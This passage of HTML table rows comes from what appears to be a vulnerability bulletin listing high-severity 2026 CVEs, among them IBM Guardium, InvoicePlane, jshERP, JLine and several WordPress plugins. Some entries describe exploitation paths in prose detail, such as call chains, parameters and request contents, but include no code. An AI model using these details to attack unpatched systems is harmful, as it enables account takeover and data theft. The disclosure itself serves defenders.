&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to insecure deserialization in the Quartz JDBC job store. An authenticated attacker could exploit this vulnerability to execute arbitrary code on the affected system.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84862&quot; target=&quot;_blank&quot;&gt;CVE-2026-84862&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to path traversal in the Universal Connector Oracle Wallet upload component. An authenticated remote attacker could exploit this vulnerability to write arbitrary files to the system.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84882&quot; target=&quot;_blank&quot;&gt;CVE-2026-84882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 stores internal REST service-account passwords in a reversible plaintext-equivalent format. An authenticated attacker who gains access to the stored credential could recover the password and obtain an administrative REST access token.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84884&quot; target=&quot;_blank&quot;&gt;CVE-2026-84884&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 is vulnerable to SQL injection in the PESI service. An authenticated attacker could exploit this vulnerability to access sensitive information in the internal database.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84893&quot; target=&quot;_blank&quot;&gt;CVE-2026-84893&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Guardium Data Protection&lt;/td&gt;
&lt;td&gt;IBM Guardium Data Protection 12.2 could allow a remote attacker to obtain sensitive information, delete arbitrary files, or execute arbitrary code due to improper limitation of a pathname to a restricted directory.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85029&quot; target=&quot;_blank&quot;&gt;CVE-2026-85029&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;IBM--Server Firmware&lt;/td&gt;
&lt;td&gt;IBM Server Firmware FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, FW1060.00 through FW1060.81, and FW950.00 through FW950.H3 is affected by a vulnerability in the ASMI web interface. An unauthenticated attacker on the management network can send a malformed HTTPS request to ASMI, causing the web server to crash with possible memory corruption and generate an error log. The ASMI web interface will restart automatically; however, repeated exploitation could result in a sustained loss of access to the ASMI management interface, resulting in an integrity and availability impact.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93306&quot; target=&quot;_blank&quot;&gt;CVE-2026-93306&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ihomefinder--Optima Express IDX&lt;/td&gt;
&lt;td&gt;The Optima Express IDX plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 8.7.5. This is due to the `provisionBlogCredentials()` function in `iHomefinderAdmin.php` being reachable via the `wp_ajax_nopriv_ihf_clear_cache` AJAX action - through the call chain `iHomefinderAjaxHandler::clearCache()` â†’ `activateAuthenticationToken()` â†’ `getAuthenticationInfo()` â†’ `provisionBlogCredentials()` - with no capability check, nonce verification, or ownership validation, and the function unconditionally calling `$user-&amp;gt;set_role(&#039;author&#039;)` on whichever WordPress account matches the hard-coded login `optima-express` via `get_user_by(&#039;login&#039;, &#039;optima-express&#039;)`. This makes it possible for unauthenticated attackers to escalate a pre-registered `optima-express` account to the Author role, gaining `publish_posts`, `upload_files`, and `edit_published_posts` capabilities, including access to the plugin&#039;s own `/wp-json/optima-express/v1/blog-post` REST endpoint. Exploitation requires open user registration to be enabled on the target site, and the attacker must register the `optima-express` username before the plugin has had the opportunity to provision that login for its own integration account.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93901&quot; target=&quot;_blank&quot;&gt;CVE-2026-93901&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2-rc-1, InvoicePlane builds its permitted template list by scanning a PHP template directory that can be written through an administrator-controlled file-write capability. A malicious PHP file placed in the directory is automatically trusted by Mdl_templates and can be selected as public_invoice_template. When a public invoice is rendered, the guest View controller includes the trusted file and executes it with web-server privileges. This issue is fixed in version 1.7.2-rc-1.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-39353&quot; target=&quot;_blank&quot;&gt;CVE-2026-39353&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane interpolates the administrator-controlled tax_rate_decimal_places setting into an ALTER TABLE statement for ip_tax_rates in Settings::index() without strict integer validation. A crafted setting value can add clauses to the schema-changing statement and remove or alter required database columns. The resulting schema corruption can permanently modify financial data structures and make the application unavailable. This vulnerability is fixed in 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33639&quot; target=&quot;_blank&quot;&gt;CVE-2026-33639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane exposes Invoices::delete() and Invoices::delete_invoice_tax() as state-changing routes without requiring POST and validating a CSRF token. When an authenticated administrator loads attacker-controlled content that requests an affected route, the application can delete an invoice or invoice tax record. The cross-origin action can remove financial data without the administrator&#039;s intent. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49850&quot; target=&quot;_blank&quot;&gt;CVE-2026-49850&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoicePlane--InvoicePlane&lt;/td&gt;
&lt;td&gt;InvoicePlane is a self-hosted open source application for managing invoices, clients, and payments. Prior to 1.7.2, InvoicePlane&#039;s Invoices::generate_xml() method appends a database-derived xml_id to the XMLconfigs helper directory and includes the resulting PHP path without validating the identifier. A low-privileged attacker who can influence the e-invoice configuration can use traversal sequences to include an existing PHP file. The standalone advisory establishes local file inclusion; code execution requires a separate file-upload or file-write primitive. This issue is fixed in version 1.7.2.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50547&quot; target=&quot;_blank&quot;&gt;CVE-2026-50547&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;InvoiceShelf--InvoiceShelf&lt;/td&gt;
&lt;td&gt;InvoiceShelf is an open-source web &amp;amp; mobile app that helps track expenses, payments and create professional invoices and estimates. Prior to version 2.4.1, in InvoiceShelf&#039;s multi-company installations, any user who is an Owner of one company can read and overwrite any user account in any other company on the same installation. `GET/PUT /api/v1/users/{user}` resolves the target `User` by global primary key, and `UserPolicy` checks only that the requester owns their own header-company - it never verifies that the target user belongs to that company. This allows cross-tenant disclosure of user data and full account takeover (email/password overwrite + company re-assignment). Version 2.4.1 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55610&quot; target=&quot;_blank&quot;&gt;CVE-2026-55610&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;issdandavis--SCBE-AETHERMOORE&lt;/td&gt;
&lt;td&gt;SCBE-AETHERMOORE is a geometric AI governance and evaluation framework. Starting in version 4.0.2 and prior to version 4.2.1, the AetherBrowser API server (`scripts/aetherbrowser/api_server.py`) exposes the `POST /api/ops/check-email` endpoint without any authentication. Any remote attacker can call this endpoint and trigger execution of the `email_reader.py` subprocess, which connects to configured ProtonMail or Gmail accounts via IMAP and returns email metadata (sender, subject, body snippet) in the JSON response. The server binds to `0.0.0.0:8100` by default with CORS set to `allow_origins=[&quot;*&quot;]`, making it reachable from any network or browser origin. Version 4.2.1 patches the issue.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57443&quot; target=&quot;_blank&quot;&gt;CVE-2026-57443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ITFlow--ITFlow&lt;/td&gt;
&lt;td&gt;ITFlow before 26.08 allows SVG attachments in the ticket email parser (cron/ticket_email_parser.php) for email messages that may arrive over SMTP from arbitrary senders.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97735&quot; target=&quot;_blank&quot;&gt;CVE-2026-97735&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;itthinx--Groups Memberships and Access Control&lt;/td&gt;
&lt;td&gt;The Groups - Memberships and Access Control plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 4.6.0. This is due to the groups_join() function deriving group-join eligibility from the ambient post&#039;s author capabilities via the global $post-&amp;gt;post_author rather than from the currently authenticated user&#039;s own capabilities, while simultaneously minting and returning a valid groups-join-data hash and WordPress nonce for the caller in the same response - eliminating all authorization barriers to self-enrollment. This makes it possible for authenticated attackers, with Subscriber-level access and above, to enroll themselves into any group including privileged groups carrying the groups_admin_groups capability, and to subsequently create and join a group containing every registered WordPress capability, effectively escalating their privileges to Administrator. Exploitation requires the attacker to supply an Administrator-authored post ID via the post_ID parameter of the authenticated wp_ajax_parse_media_shortcode handler in order to establish the privileged ambient post context used by the flawed authorization check.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77203&quot; target=&quot;_blank&quot;&gt;CVE-2026-77203&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ivole--Customer Reviews for WooCommerce&lt;/td&gt;
&lt;td&gt;The Customer Reviews for WooCommerce plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 5.120.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to permanently delete arbitrary attachments from the Media Library - including administrator-owned product images, logos, and documents - by injecting their IDs into a review that is later trashed and purged. Exploitation requires a public review-form link (a 13-hex formId distributed to customers via e-mail), which exposes the nonce needed to reach the handler without any WordPress account or session.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89055&quot; target=&quot;_blank&quot;&gt;CVE-2026-89055&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Jacob N. Breetvelt--WP Photo Album Plus&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in WP Photo Album Plus &amp;lt;= 9.3.02.002 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93774&quot; target=&quot;_blank&quot;&gt;CVE-2026-93774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;java110--MicroCommunity&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in java110 MicroCommunity up to 2.0. Affected is the function QueryServiceSMOImpl.fallBack of the file BusinessApi.java of the component fallBack API Endpoint. Such manipulation of the argument fallBackSql leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96803&quot; target=&quot;_blank&quot;&gt;CVE-2026-96803&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jetmonsters--Restaurant Menu and Food Ordering&lt;/td&gt;
&lt;td&gt;The Restaurant Menu and Food Ordering plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the &#039;phone_number&#039; parameter in all versions up to, and including, 2.4.14 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96568&quot; target=&quot;_blank&quot;&gt;CVE-2026-96568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jgwhite33--WP Yelp Review Slider&lt;/td&gt;
&lt;td&gt;The WP Yelp Review Slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Yelp Review Text (imported via wpyelp_download_source) in all versions up to, and including, 9.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious payload originates from an anonymous Yelp reviewer on a public platform and requires no WordPress account; it is introduced into the database during the site administrator&#039;s ordinary use of the plugin&#039;s Download Reviews feature, making the effective attacker unauthenticated.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93778&quot; target=&quot;_blank&quot;&gt;CVE-2026-93778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JiHong88--suneditor&lt;/td&gt;
&lt;td&gt;SunEditor is a lightweight and powerful WYSIWYG editor in vanilla JavaScript with no dependencies. Prior to 2.47.11, the sanitizer in src/lib/core.js does not consistently reject namespaced or custom HTML elements, allowing event-handler attributes to remain on crafted elements. When an application renders attacker-controlled editor content and a user interacts with the element, the retained handler can execute script in the application&#039;s browser origin, enabling stored cross-site scripting, data exposure, or unauthorized browser-context actions. This issue is fixed in version 2.47.11.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59167&quot; target=&quot;_blank&quot;&gt;CVE-2026-59167&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jishenghua--jshERP&lt;/td&gt;
&lt;td&gt;jshERP 3.6 contains a privilege escalation vulnerability in the updateOneValueByKeyIdAndType endpoint that allows authenticated users to grant themselves arbitrary roles. Attackers can send a POST request with type=UserRole, their own user ID, and a role ID list to escalate from low-privilege tenant user to tenant administrator.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94411&quot; target=&quot;_blank&quot;&gt;CVE-2026-94411&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jishenghua--jshERP&lt;/td&gt;
&lt;td&gt;jshERP through 3.6 contains an authorization bypass vulnerability in the POST /user/resetPwd endpoint that allows authenticated users to reset any other user&#039;s password. Attackers can submit a request with an arbitrary target user ID to reset that account&#039;s password to a known default value, enabling unauthorized access to other user accounts including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94412&quot; target=&quot;_blank&quot;&gt;CVE-2026-94412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jishenghua--jshERP&lt;/td&gt;
&lt;td&gt;jshERP through 3.6 fails to validate caller permissions in role management endpoints, allowing authenticated users to modify any role&#039;s data scope or delete roles. Attackers can exploit the /role/update and /role/delete endpoints to escalate privileges, change data visibility to all data, and access all business records in the tenant.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94496&quot; target=&quot;_blank&quot;&gt;CVE-2026-94496&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jishenghua--jshERP&lt;/td&gt;
&lt;td&gt;jshERP through 3.6 fails to validate object ownership in by-id info, update, and delete endpoints across multiple resource types. Authenticated users can read, modify, and delete other users&#039; business objects by submitting direct object identifiers without authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94497&quot; target=&quot;_blank&quot;&gt;CVE-2026-94497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jishenghua--jshERP&lt;/td&gt;
&lt;td&gt;jshERP through 3.6 contains an authorization bypass vulnerability in the userBusiness CRUD endpoints that allows authenticated users to create, modify, or delete authorization-relation rows without privilege checks. Attackers can manipulate user-role mappings and access controls to escalate privileges, strip access from other accounts, or modify role-function relationships for any user in the tenant.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94501&quot; target=&quot;_blank&quot;&gt;CVE-2026-94501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jishenghua--jshERP&lt;/td&gt;
&lt;td&gt;jshERP through 3.6 fails to properly validate user privileges in SystemConfigService.updateSystemConfig, allowing authenticated users to modify tenant system configuration. Attackers can rewrite or delete tenant-wide settings covering company identity, stock rules, approval behavior, and printing configuration through the systemConfig endpoint.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94495&quot; target=&quot;_blank&quot;&gt;CVE-2026-94495&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jline--jline3&lt;/td&gt;
&lt;td&gt;JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, the JLine built-in grep command in builtins/src/main/java/org/jline/builtins/PosixCommands.java accepts a user-controlled regular expression in grep(...) and, unless line-regexp mode is used, automatically adds a dot-star prefix and suffix before compiling it with Java&#039;s backtracking regular expression engine. The wrapping expands the backtracking search space, so a short nested-quantifier expression evaluated against non-matching input can consume excessive CPU and indefinitely block a command worker, including in remotely exposed shell sessions. This issue is fixed in versions 3.30.15 and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77422&quot; target=&quot;_blank&quot;&gt;CVE-2026-77422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jline--jline3&lt;/td&gt;
&lt;td&gt;JLine is a Java library for handling console input. From 3.0.0 until 3.30.15 and 4.3.1, the JLine built-in less viewer passes user-controlled search and display-filter patterns from getPattern(boolean doDisplayPattern) in builtins/src/main/java/org/jline/builtins/Less.java directly to Java&#039;s backtracking regular expression engine and repeatedly applies them to file content. A nested-quantifier expression evaluated against non-matching lines can consume excessive CPU and indefinitely block the session thread, and repeated sessions in Telnet or SSH deployments can exhaust a bounded worker pool. This issue is fixed in versions 3.30.15 and 4.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77423&quot; target=&quot;_blank&quot;&gt;CVE-2026-77423&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;joniles--mpxj&lt;/td&gt;
&lt;td&gt;MPXJ is an open source library to read and write project plans from a variety of file formats and databases. From 5.5.5 until 16.4.1, MerlinReader creates a DocumentBuilder with default settings while parsing XML from the ZTIMEINTERVALS column of a Merlin project SQLite database, leaving doctype declarations and external entities enabled. A crafted database can cause the parser to read an arbitrary local file, although MPXJ&#039;s subsequent handling of the parsed XML makes disclosure of the file contents unlikely. This issue is fixed in version 16.4.1.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61570&quot; target=&quot;_blank&quot;&gt;CVE-2026-61570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JosephChuks--php-file-manager-with-code-editor&lt;/td&gt;
&lt;td&gt;A flaw has been found in JosephChuks php-file-manager-with-code-editor up to 3.0. This issue affects the function move_uploaded_file of the file filemanager.php. Executing a manipulation of the argument files can lead to unrestricted upload. The attack can be executed remotely. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95499&quot; target=&quot;_blank&quot;&gt;CVE-2026-95499&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JosephChuks--php-file-manager-with-code-editor&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in JosephChuks php-file-manager-with-code-editor up to 3.0. Impacted is the function file_put_contents of the file codeEditor.php of the component Save Handler. The manipulation of the argument filename/content leads to unrestricted upload. The attack is possible to be carried out remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95500&quot; target=&quot;_blank&quot;&gt;CVE-2026-95500&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Karel Electronic Industry and Trade Inc.--KarelIPS&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an SQL command (&#039;SQL injection&#039;) vulnerability in Karel Electronic Industry and Trade Inc. KarelIPS allows Blind SQL Injection. This issue affects KarelIPS: through 22092026. NOTE: The vendor was contacted and it was learned that the product is not supported.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12718&quot; target=&quot;_blank&quot;&gt;CVE-2026-12718&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kevin Stover--Ninja Forms&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in Ninja Forms &amp;lt;= 3.15.3 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95515&quot; target=&quot;_blank&quot;&gt;CVE-2026-95515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kitae Park--Mang Board WP&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in Mang Board WP &amp;lt;= 2.4.1 versions.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94176&quot; target=&quot;_blank&quot;&gt;CVE-2026-94176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;klever-io--klever-go&lt;/td&gt;
&lt;td&gt;Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /log WebSocket route configured in config/node/api.yaml and registered by network/api/api.go does not require authentication. The first client message is parsed as a logger Profile in network/api/logs/logSender.go and applied process-wide through Profile.Apply, allowing a remote client to change global log levels and formatting options until the connection closes. The same connection is registered as a log observer and can receive live process logs. An attacker can suppress normal logs, increase verbosity, distort operator visibility, and access operational information without credentials. This issue is fixed in version 1.7.20.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86064&quot; target=&quot;_blank&quot;&gt;CVE-2026-86064&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;klever-io--klever-go&lt;/td&gt;
&lt;td&gt;Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, the default-open GET /subscribe endpoint in network/api/websocket/routes.go accepts unauthenticated WebSocket clients with permissive origin handling, does not call SetReadLimit to bound message size, and has no live-connection cap. SocketHub.HandleClientInsertion also accepts an unbounded address list that grows addressSubscription, and client.loopIn continues reading without a size limit, allowing one client to grow subscription maps or many clients to retain goroutines, buffered channels, and descriptors. The global HTTP request throttler does not count upgraded live WebSocket connections. Because the REST and WebSocket API runs in the node process, memory or scheduler exhaustion can crash the node and interrupt P2P and consensus participation. This issue is fixed in version 1.7.20.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86065&quot; target=&quot;_blank&quot;&gt;CVE-2026-86065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
